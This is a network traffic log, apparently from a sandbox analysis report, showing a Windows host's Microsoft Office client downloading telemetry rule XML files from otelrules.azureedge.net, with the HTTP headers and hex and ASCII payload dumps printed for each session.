2024-11-20 12:28:29 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-20 12:28:29 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-20 12:28:29 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.8	49814	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:30 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:30 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:30 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: f909c6c7-c01e-0049-518c-3aac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122830Z-185f5d8b95cdcwrthC1NYCy5b80000000a3000000000hm9w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:30 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.8	49818	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:30 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:30 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:30 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: e579fe48-a01e-001e-648c-3a49ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122830Z-185f5d8b95c4bhwphC1NYCs8gw0000000a7g00000000ktzs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:30 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.8	49815	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:30 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:30 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:30 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: ac6669be-e01e-003c-668c-3ac70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122830Z-r1d97b99577brct2hC1TEBambg00000002gg000000009ruz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:30 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.8	49816	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:30 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:30 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:30 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 884d2a23-a01e-00ab-5b8c-3a9106000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122830Z-r1d97b99577kk29chC1TEBemmg00000008xg000000006zuq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:30 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.8	49817	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:30 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:30 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:30 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 8753231e-501e-008f-038c-3a9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122830Z-185f5d8b95c96jn4hC1NYCbgp80000000a7g000000009ucz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:30 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.8	49820	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:31 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:31 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:31 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: bfe6cc7a-201e-006e-7e8c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122831Z-185f5d8b95cdh56ghC1NYCk1x40000000430000000007qns x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:31 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.8	49819	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:31 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:31 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:31 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 3126d9de-f01e-0099-4d8c-3a9171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122831Z-185f5d8b95c9mqtvhC1NYCghtc0000000aa0000000007sac x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:31 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.8	49823	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:31 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:31 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:31 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 7f65a9a1-801e-0067-788c-3afe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122831Z-r1d97b99577jlrkbhC1TEBq8d000000008q000000000bhvr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:31 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.8	49821	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:31 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:31 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:31 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 1e988f1d-b01e-0070-1b8c-3a1cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122831Z-185f5d8b95cmd8vfhC1NYC0g40000000063000000000bxe2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:31 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.8	49822	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:31 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 12:28:31 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 12:28:31 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 70a275ef-201e-0051-048c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T122831Z-185f5d8b95csp6jmhC1NYCwy6s0000000a3g00000000f209 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 12:28:31 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.8	49827	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 12:28:32 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
